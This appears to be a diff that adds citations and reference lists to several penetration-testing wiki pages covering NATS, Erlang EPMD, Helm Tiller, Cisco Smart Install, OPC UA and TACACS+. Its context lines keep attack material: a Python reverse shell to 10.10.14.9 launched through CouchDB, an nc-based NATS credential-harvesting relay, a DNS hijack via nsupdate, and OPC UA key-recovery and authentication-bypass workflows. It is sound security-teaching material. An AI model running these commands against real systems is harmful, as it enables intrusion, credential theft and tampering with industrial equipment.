References audit: 48 pages

src/network-services-pentesting/4222-pentesting-nats.md

@@ -39,8 +39,8 @@ Authentication failures immediately raise `nats: Authorization Violation`, so va
 
 ## Credential capture via DNS/service impersonation
 
-+ Identify stale AD DNS entries for the broker hostname (e.g. `nats-svc.domain.local`). If the record returns `NXDOMAIN`, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See [AD DNS Records abuse](../windows-hardening/active-directory-methodology/ad-dns-records.md) for background.<sup>[[1]](#references)</sup>
-+ Register the hostname to an attacker-controlled IP:
+- Identify stale AD DNS entries for the broker hostname (e.g. `nats-svc.domain.local`). If the record returns `NXDOMAIN`, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See [AD DNS Records abuse](../windows-hardening/active-directory-methodology/ad-dns-records.md) for background.<sup>[[1]](#references)</sup>
+- Register the hostname to an attacker-controlled IP:
 
 ```bash
 nsupdate
@@ -49,14 +49,14 @@ nsupdate
 > send
 ```
 
-+ Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first `INFO` line it sees, so we only need to pipe it through a listener:
+- Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first `INFO` line it sees, so we only need to pipe it through a listener:
 
 ```bash
 nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
 ```
 
-+ As soon as an internal client resolves the hijacked name, it will emit a plaintext `CONNECT` frame containing the `user` / `pass` pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even `nc` is enough to harvest secrets.
-+ For longer engagements, run the official server locally (`git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V`). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password.
+- As soon as an internal client resolves the hijacked name, it will emit a plaintext `CONNECT` frame containing the `user` / `pass` pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even `nc` is enough to harvest secrets.
+- For longer engagements, run the official server locally (`git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V`). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password.
 
 ## JetStream looting & password hunting
 

src/network-services-pentesting/43-pentesting-whois.md

@@ -153,8 +153,6 @@ Entry_3:
   Command: nmap --script whois-domain,whois-ip --script-args whois.whodb=nocache {IP}
 ```
 
-
-
 ## References
 
 - [1] [ICANN Update: Launching RDAP; Sunsetting WHOIS](https://www.icann.org/en/announcements/details/icann-update-launching-rdap-sunsetting-whois-27-01-2025-en)

src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

@@ -50,7 +50,7 @@ PORT     STATE SERVICE VERSION
 
 ### Remote Connection
 
-If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters.
+If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters.<sup>[[1]](#references)</sup>
 
 ```bash
 greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
@@ -64,7 +64,7 @@ At last, we can start an erlang shell on the remote system.
 "uid=0(root) gid=0(root) groups=0(root)\n"
 ```
 
-More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
+More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)<sup>[[1]](#references)</sup>\
 The author also share a program to brutforce the cookie:
 
 {{#file}}
@@ -73,7 +73,7 @@ epmd_bf-0.1.tar.bz2
 
 ### Local Connection
 
-In this case we are going to abuse CouchDB to escalate privileges locally:
+In this case we are going to abuse CouchDB to escalate privileges locally:<sup>[[2]](#references)</sup>
 
 ```bash
 HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
@@ -82,7 +82,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
 (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
 ```
 
-Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
+Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)<sup>[[3]](#references)</sup>\
 You can use **Canape HTB machine to** **practice** how to **exploit this vuln**.
 
 ### Metasploit
@@ -96,4 +96,10 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
 
 - `port:4369 "at port"`
 
+## References
+
+- [1] [Erlang distribution RCE and a cookie bruteforcer](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)
+- [2] [HTB: Canape](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)
+- [3] [2018/09](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
+
 {{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/44134-pentesting-tiller-helm.md

@@ -56,7 +56,7 @@ helm --host tiller-deploy.kube-system:44134 version
 
 ### Privilege Escalation
 
-By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**.
+By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**.<sup>[[1]](#references)</sup>
 
 All you need to do is to install a package like this one: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) that will give the **default service token access to everything in the whole cluster.**
 
@@ -70,6 +70,6 @@ In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **e
 
 ## References
 
-- [1] [Helm/Tiller privilege escalation attack explanation](http://rui0.cn/archives/1573)
+- [1] [Kubernetes中使用Helm2的安全风险 (Security Risks of Using Helm2 in Kubernetes)](http://rui0.cn/archives/1573)
 
 {{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/44818-ethernetip.md

@@ -26,6 +26,3 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
 - `port:44818 "product name"`
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-

src/network-services-pentesting/47808-udp-bacnet.md

@@ -53,6 +53,3 @@ This script does not attempt to join a BACnet network as a foreign device, it si
 - `"Instance ID" "Vendor Name"`
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-

src/network-services-pentesting/4786-cisco-smart-install.md

@@ -24,7 +24,7 @@ PORT      STATE  SERVICE
 - call RCE
 - steal configurations of network equipment.
 
-**The** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** was developed to exploit this vulnerability, it allows you to abuse Cisco Smart Install. In this article I will show you how you can read a legitimate network hardware configuration file. Configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. And this will make life easier and allow finding new vectors for an attack.
+**The** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** was developed to exploit this vulnerability, it allows you to abuse Cisco Smart Install. In this article I will show you how you can read a legitimate network hardware configuration file. Configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. And this will make life easier and allow finding new vectors for an attack.<sup>[[1]](#references)</sup>
 
 **The target device will be a “live” Cisco Catalyst 2960 switch. Virtual images do not have Cisco Smart Install, so you can only practice on the real hardware.**
 
@@ -40,8 +40,8 @@ The switch configuration **10.10.100.10** will be in the **tftp/** folder
 
 <figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
 
+## References
 
-{{#include ../banners/hacktricks-training.md}}
-
-
+- [1] [SIET - Smart Install Exploitation Tool](https://github.com/frostbits-security/SIET)
 
+{{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/4840-pentesting-opc-ua.md

@@ -25,7 +25,7 @@ PORT     STATE SERVICE REASON
 
 ## Pentesting OPC UA
 
-To reveal security issues in OPC UA servers, scan it with [OpalOPC](https://opalopc.com/).
+To reveal security issues in OPC UA servers, scan it with [OpalOPC](https://opalopc.com/).<sup>[[1]](#references)</sup>
 
 ```bash
 opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
@@ -54,7 +54,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
 
 ### Automated assessment with OpalOPC
 
-- The scanner can run interactively or headless, which is handy for CI/CD style OT baselines. Pipe its machine-readable findings into your reporting pipeline to highlight anonymous logins, weak policies, certificate validation errors and writable variables in minutes.
+- The scanner can run interactively or headless, which is handy for CI/CD style OT baselines. Pipe its machine-readable findings into your reporting pipeline to highlight anonymous logins, weak policies, certificate validation errors and writable variables in minutes.<sup>[[1]](#references)</sup>
 - Combine OpalOPC output with manual browsing: feed the discovered endpoint list back into your custom tooling, then selectively weaponize high-impact nodes (e.g., `MotorControl/StartStop`, `RecipeManager/Upload`).
 
 ### Targeting discovery infrastructure, GDS & Reverse Connect
@@ -65,15 +65,15 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
 
 ### Attacking legacy security policies (Basic128Rsa15)
 
-- **Bleichenbacher-style oracle:** Systems that still allow the deprecated `Basic128Rsa15` policy (often toggled via build flags such as `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`) leak padding validation differences. Exploit this by flooding `CreateSession` / `OpenSecureChannel` handshakes with crafted PKCS#1 v1.5 blobs to recover the server certificate’s private key, then impersonate the server or decrypt traffic.
-- **Authentication bypass:** OPC Foundation’s .NET Standard stack prior to 1.5.374.158 (CVE-2024-42512) and dependent products let unauthenticated attackers force that legacy policy and subsequently skip application-level authentication. Once you own the key material you can present arbitrary `UserIdentityTokens`, replay signed `ActivateSession` requests, and operate the plant as a trusted engineering workstation.
+- **Bleichenbacher-style oracle:** Systems that still allow the deprecated `Basic128Rsa15` policy (often toggled via build flags such as `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`) leak padding validation differences. Exploit this by flooding `CreateSession` / `OpenSecureChannel` handshakes with crafted PKCS#1 v1.5 blobs to recover the server certificate’s private key, then impersonate the server or decrypt traffic.<sup>[[7]](#references)</sup>
+- **Authentication bypass:** OPC Foundation’s .NET Standard stack prior to 1.5.374.158 (CVE-2024-42512) and dependent products let unauthenticated attackers force that legacy policy and subsequently skip application-level authentication. Once you own the key material you can present arbitrary `UserIdentityTokens`, replay signed `ActivateSession` requests, and operate the plant as a trusted engineering workstation.<sup>[[7]](#references)</sup>
 - **Operational workflow:**
   1. Enumerate policies with `GetEndpoints` and note any `Basic128Rsa15` entries.
   2. Negotiate that policy explicitly (`SecurityPolicyUri` in `CreateSession`), then run your oracle loop until the recovered key validates.
   3. Abuse the key to forge a high-privilege session, switch roles, or silently downgrade other clients by acting as a rogue reverse proxy.
-- **CODESYS Runtime Toolkit (<3.5.21.0)** re-enabled Basic128Rsa15 whenever integrators compile with `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`. Flip that flag, re-run the oracle workflow above, and you can leak the runtime's private key to impersonate trusted engineering workstations until patch level 3.5.21.0 or later is deployed.
-- **HTTPS reflection / relay bypasses:** 2025 research showed that HTTPS bindings deserve separate testing. OPC UA over HTTPS skips the binary `OpenSecureChannel` handshake, so endpoints that trust their own certificate or can be chained in a relay can still yield application-authentication bypasses (the same area covered by CVE-2024-42513 in the OPC Foundation .NET stack).
-- **Practical tooling:** Secura's `opcattack` turns the theory above into a repeatable test flow:
+- **CODESYS Runtime Toolkit (<3.5.21.0)** re-enabled Basic128Rsa15 whenever integrators compile with `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`. Flip that flag, re-run the oracle workflow above, and you can leak the runtime's private key to impersonate trusted engineering workstations until patch level 3.5.21.0 or later is deployed.<sup>[[3]](#references)</sup>
+- **HTTPS reflection / relay bypasses:** 2025 research showed that HTTPS bindings deserve separate testing. OPC UA over HTTPS skips the binary `OpenSecureChannel` handshake, so endpoints that trust their own certificate or can be chained in a relay can still yield application-authentication bypasses (the same area covered by CVE-2024-42513 in the OPC Foundation .NET stack).<sup>[[7]](#references)</sup>
+- **Practical tooling:** Secura's `opcattack` turns the theory above into a repeatable test flow:<sup>[[6]](#references)</sup>
   ```bash
   # Enumerate binary + HTTPS endpoints and flag applicable attacks
   opcattack.py check opc.tcp://$TARGET:4840
@@ -91,8 +91,8 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
 
 ### 2024-2025 exploit watchlist
 
-- **open62541 fuzz_binary_decode (CVE-2024-53429):** SecureChannel chunks that declare oversized `ExtensionObject` bodies make the decoder dereference freed memory, so a pre-auth attacker can repeatedly crash UA servers that embed open62541 ≤1.4.6. Reuse the Claroty corpus (`opcua_message_boofuzz_db`) or craft your own Boofuzz harness to spam mutated `OpenSecureChannel` requests until the watchdog kills the process, then re-enumerate because many integrators fall back to anonymous mode after the reboot.
-- **Softing OPC UA C++ SDK / edgeConnector / edgeAggregator (CVE-2025-7390):** The TLS client-auth pipeline accepts any certificate that replays a trusted Common Name, so you can mint a throwaway cert, copy the CN from a plant engineer, and log in with arbitrary `UserNameIdentityToken` or `IssuedIdentityToken` data. Pair this with a downgrade to Basic128Rsa15 to strip integrity checks and persistently impersonate operators until trustlists are rebuilt.
+- **open62541 fuzz_binary_decode (CVE-2024-53429):** SecureChannel chunks that declare oversized `ExtensionObject` bodies make the decoder dereference freed memory, so a pre-auth attacker can repeatedly crash UA servers that embed open62541 ≤1.4.6. Reuse the Claroty corpus (`opcua_message_boofuzz_db`) or craft your own Boofuzz harness to spam mutated `OpenSecureChannel` requests until the watchdog kills the process, then re-enumerate because many integrators fall back to anonymous mode after the reboot.<sup>[[4]](#references)</sup>
+- **Softing OPC UA C++ SDK / edgeConnector / edgeAggregator (CVE-2025-7390):** The TLS client-auth pipeline accepts any certificate that replays a trusted Common Name, so you can mint a throwaway cert, copy the CN from a plant engineer, and log in with arbitrary `UserNameIdentityToken` or `IssuedIdentityToken` data. Pair this with a downgrade to Basic128Rsa15 to strip integrity checks and persistently impersonate operators until trustlists are rebuilt.<sup>[[5]](#references)</sup>
 
 ### Crafting OPC UA clients for exploitation
 
@@ -106,7 +106,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
 
 ### Fuzzing & exploit development tooling
 
-Claroty Team82 released an open-source `opcua-exploit-framework` that packages years of Pwn2Own-grade research into reusable modules:
+Claroty Team82 released an open-source `opcua-exploit-framework` that packages years of Pwn2Own-grade research into reusable modules:<sup>[[2]](#references)</sup>
 
 - **Modes:** `sanity` (lightweight reads/browses), `attacks` (e.g., thread pool starvation, file upload DoS), `corpus` (replay fuzzing payloads), `server` (rogue OPC UA server to backdoor clients).
 - **Usage pattern:**
@@ -143,13 +143,12 @@ Combine the search with vendor strings (`"Ignition OPC UA"`, `"KepServerEX"`) or
 
 ## References
 
-- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
-- [https://github.com/claroty/opcua-exploit-framework](https://github.com/claroty/opcua-exploit-framework)
-- [https://certvde.com/en/advisories/VDE-2025-022/](https://certvde.com/en/advisories/VDE-2025-022/)
-- [https://nvd.nist.gov/vuln/detail/CVE-2024-53429](https://nvd.nist.gov/vuln/detail/CVE-2024-53429)
-- [https://industrial.softing.com/fileadmin/psirt/downloads/2025/CVE-2025-7390.html](https://industrial.softing.com/fileadmin/psirt/downloads/2025/CVE-2025-7390.html)
-- [https://github.com/SecuraBV/opcattack](https://github.com/SecuraBV/opcattack)
-- [https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Tervoort-No-VPN-Needed-Cryptographic-Attacks.pdf](https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Tervoort-No-VPN-Needed-Cryptographic-Attacks.pdf)
-
+- [1] [How to Hack OPC UA - OpalOPC](https://opalopc.com/how-to-hack-opc-ua/)
+- [2] [opcua-exploit-framework - Claroty Team82](https://github.com/claroty/opcua-exploit-framework)
+- [3] [VDE-2025-022: CODESYS Control V3 - OPC UA Server Authentication Bypass (CVE-2025-1468)](https://certvde.com/en/advisories/VDE-2025-022/)
+- [4] [CVE-2024-53429 - open62541 fuzz_binary_decode assertion failure](https://nvd.nist.gov/vuln/detail/CVE-2024-53429)
+- [5] [CVE-2025-7390 - Softing OPC UA client certificate trust bypass](https://industrial.softing.com/fileadmin/psirt/downloads/2025/CVE-2025-7390.html)
+- [6] [opcattack - Secura OPC UA attack tool](https://github.com/SecuraBV/opcattack)
+- [7] [No VPN Needed? Cryptographic Attacks Against the OPC UA Protocol - Black Hat USA 2025 (Tervoort/Secura)](https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Tervoort-No-VPN-Needed-Cryptographic-Attacks.pdf)
 
 {{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/49-pentesting-tacacs+.md

@@ -87,7 +87,7 @@ By gaining access to the control panel of network equipment using the obtained c
 ## References
 
 - [1] [RFC 8907 - The TACACS+ Protocol](https://datatracker.ietf.org/doc/html/rfc8907)
-- [2] [TacoTaco - Attacks on TACACS+](https://github.com/GrrrDog/TacoTaco)
+- [2] [TacoTaco - MitM traffic manipulation and offline cracking tools for TACACS+](https://github.com/GrrrDog/TacoTaco)
 - [3] [RFC 9887 - Using Transport Layer Security (TLS) to Secure TACACS+](https://datatracker.ietf.org/doc/html/rfc9887)
 
 {{#include ../banners/hacktricks-training.md}}